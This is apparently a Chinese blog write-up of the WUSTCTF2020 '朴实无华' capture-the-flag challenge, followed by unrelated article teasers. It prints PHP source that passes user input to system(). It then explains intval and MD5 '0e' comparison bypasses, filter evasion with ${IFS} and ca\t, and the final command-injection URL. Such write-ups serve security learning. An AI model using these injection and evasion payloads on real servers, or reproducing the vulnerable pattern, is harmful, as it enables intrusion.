[WUSTCTF2020]朴实无华(特详解)
一开始说header出问题了
就先dirsaerch扫一遍
发现robot.txt

访问一下

去看看,好好好,肯定不是得

他一开始说header有问题,不妨抓包看看,果然有东西

访问看看,乱码修复一下,在之前的博客到过

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
很明显要绕过三次
先看第一个
要求num小于2020,且num+1大于2021.
用到:intval 绕过
这个函数是强制转换为int类型。
进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001那么我们成功绕过了。
首先先看一下这个
<?php
echo '3e3' ;
?>
//结果为3e3
<?php
echo '3e3' + 1;
?>
//结果为3001
这是因为在第一个 echo 语句中,'3e3' 被视为字符串,因此会直接输出其内容 '3e3'。而在第二个语句中,虽然 '3e3' 被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3' 解释为科学记数法,表示 3 乘以 10 的 3 次方,即 3000,然后再加上 1,所以结果为 3001。
因此
<?php
$a="4e3";
echo intval($a);
?>
// 4 字符串部分没有转换
<?php
$a="3e4";
echo intval($a+1);
?>
//4001
因为是get传参数,会自动套上" ",所以我们传参3e3就是字符串"3e3"
num=3e3

第二个绕过
要求我们上传的$md5==md5($md5),注意这里是弱比较
==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false
| Plaintext | MD5 Hash |
|---|---|
| 0e215962017 | 0e291242476940776845150308577824 |
| 0e1284838308 | 0e708279691820928818722257405159 |
| 0e1137126905 | 0e291659922323405260514745084877 |
| 0e807097110 | 0e318093639164485566453180786895 |
| 0e730083352 | 0e870635875304277170259950255928 |
那么只要MD5前后都是0e开头就行了

MD5绕过参考的这位师傅浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_哈希连接 不比较-CSDN博客
第三个绕过
就是过滤了空格和cat, wctf2020
好在都可以被替换
代替cat: more、less、head、tail、sort、ca\t
代替空格:$IFS、${IFS}、$IFS$1、$IFS$9
先ls看看

直接上
?num=3e3&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

结束了
相关文章:
[WUSTCTF2020]朴实无华(特详解)
一开始说header出问题了 就先dirsaerch扫一遍 发现robot.txt 访问一下 去看看,好好好,肯定不是得 他一开始说header有问题,不妨抓包看看,果然有东西 访问看看,乱码修复一下,在之前的博客到过 <img src…...
下载已编译的 OpenCV 包在 Visual Studio 下实现快速配置
自己编译 OpenCV 挺麻烦的,配置需要耗费很长时间,编译也需要很长时间,而且无法保证能全部编译通过。利用 OpenCV 官网提供的已编译的 OpenCV 库可以节省很多时间。下面介绍安装配置方法。 1. OpenCV 官网 地址是:https://opencv…...
【Linux系统学习】3.Linux用户和权限
Linux用户和权限 1.认知root用户 1.1 root用户(超级管理员) 无论是Windows、MacOS、Linux均采用多用户的管理模式进行权限管理。 在Linux系统中,拥有最大权限的账户名为:root(超级管理员) 而在前期&#…...
视频美颜SDK开发指南:从入门到精通的技术实践
美颜SDK是一种强大的工具,它不仅仅可以让用户在实时视频中获得光滑的肌肤和自然的妆容,从简单的滤镜到复杂的人脸识别,美颜SDK涵盖了广泛的技术领域。 一、美颜SDK的基本原理 美颜SDK包括图像处理、人脸检测和识别、滤镜应用等方面。掌握这些…...
Electron基本介绍
Electron基本介绍 Electron 官方网站:https://www.electronjs.org/zh/ Electron安装方法:npm install electron -g 全局安装 Electron简介:Electron提供了丰富的本地(操作系统)API,使你能够使用纯JavaScr…...
使用网关过滤器,根据业务规则实现微服务动态路由
文章目录 业务场景拦截器实现Spring Cloud Gateway介绍 业务场景 我们服务使用Spring Cloud微服务架构,使用Spring Cloud Gateway 作为网关,使用 Spring Cloud OpenFeign 作为服务间通信方式作为网关,主要作用是鉴权与路由转发。大多数应用场…...
PKI - 03 密钥管理(如何进行安全的公钥交换)
文章目录 Pre密钥管理面临的挑战安全密钥管理的几种方式手动密钥交换与确认受信任的介绍 Pre PKI - 02 对称与非对称密钥算法 密钥管理面临的挑战 密钥管理面临的挑战主要包括以下几点: 安全的公钥交换:在使用基于非对称密钥算法的服务之前,…...
Bee+SpringBoot稳定的Sharding、Mongodb ORM功能(同步 Maven)
Hibernate/MyBatis plus Sharding JDBC Jpa Spring data GraphQL App ORM (Android, 鸿蒙) Bee 小巧玲珑!仅 860K, 还不到 1M, 但却是功能强大! V2.2 (2024春节・LTS 版) 1.Javabean 实体支持继承 (配置 bee.osql.openEntityCanExtendtrue) 2. 增强批…...
HarmonyOS SDK 助力新浪新闻打造精致易用的新闻应用
原生智能是HarmonyOS NEXT的核心亮点之一,依托HarmonyOS SDK丰富全面的开放能力,开发者只需通过几行代码,即可快速实现AI功能。新浪新闻作为鸿蒙原生应用开发的先行者之一,从有声资讯入手,基于Speech Kit朗读控件上线听…...
IT行业有哪些证书含金量高呢?
目录 引言: 一、 计算机网络类证书 二、 数据库管理类证书 三、 安全与信息技术管理类证书 四、 编程与开发类证书 五、 数据科学与人工智能类证书 六、结论: 悟已往之不谏,知来者犹可追 …...
zlib交叉编译(rv1126)
目录 1.下载 2.解压 3.配置 4.编译 1.下载 1)下载地址 zlib Home Site 2)下载tar.gz版本 下载该版本。 2.解压 1)解压到某个文件夹,新建 install-rv1126文件夹 2)进入源码目录 3.配置 1)导出交叉编…...
数字孪生与智慧园区的融合:打造未来产业生态的新篇章
随着科技的飞速发展,数字孪生和智慧园区已经成为当今社会发展的重要趋势。数字孪生技术为物理世界的对象提供了数字化的复制体,而智慧园区则通过各种信息技术手段实现园区的智能化管理。二者的融合,将为未来产业生态的发展开辟新的篇章。 一…...
nodejs将console.log保存到log.txt文档中(electron工具)
txtConsole.js const { app } require(electron); const fs require(fs); const moment require(moment); const mainData require(./mainData);//electron 软件根目录 const rootPath path.dirname(app.getPath(exe));const txtConsole {log(p1 , p2 , p3 , p4 , p…...
微服务的幂等性
微服务架构设计的中心思想是将服务进行拆分,但是在这个过程中,如果被依赖的服务发生奔溃,就会引起一系列问题。为了解决这个问题,就会引入重试的机制,重试又会引入幂等性的问题,下面我们就分析这个过程&…...
Redis之基础篇
Redis简介 Redis是一种基于键值对(Key-Value)的NoSQL数据库,它支持string(字符串)、hash(哈希)、list(列表)、set(集合)、zset(有序集…...
靶机实战bwapp亲测xxe漏洞攻击及自动化XXE注射工具分析利用
靶机实战bwapp亲测xxe漏洞攻击及自动化XXE注射工具分析利用。 1|0介绍 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查…...
openGauss学习笔记-216 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-CPU
文章目录 openGauss学习笔记-216 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-CPU216.1 CPU216.2 查看CPU状况216.3 性能参数分析 openGauss学习笔记-216 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-CPU 获取openGauss节点的CPU、内存、I/O和网络资源使用情况…...
【教程】Linux使用git自动备份和使用支持文件恢复的rm命令
转载请注明出处:小锋学长生活大爆炸[xfxuezhang.cn] 背景介绍 首先非常不幸地告诉你:Linux 系统的标准 rm 命令不支持文件恢复功能。一旦使用 rm 删除了文件或目录,它们就会从文件系统中永久删除,除非你使用专门的文件恢复工具尝试…...
记录使用M1 Mac开发LVGL嵌入式项目
技术流 使用Gui Guider进行UI设计,生成lvgl code将lvgl code移植到esp32s3开发板 Gui Guider的安装 安装下面流程一步一步进行 LVGL的移植 硬件:esp32-8048s043开发板 开发环境:PlatformIO M1芯片安装ESP32驱动 从https://www.wch.cn…...
【SpringBoot】JWT令牌
📝个人主页:五敷有你 🔥系列专栏:SpringBoot ⛺️稳重求进,晒太阳 什么是JWT JWT简称JSON Web Token,也就是通过JSON形式作为Web应用的令牌,用于各方面之间安全的将信息作为JSON对象传输…...
超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...
深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
蓝桥杯 冶炼金属
原题目链接 🔧 冶炼金属转换率推测题解 📜 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V,是一个正整数,表示每 V V V 个普通金属 O O O 可以冶炼出 …...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...
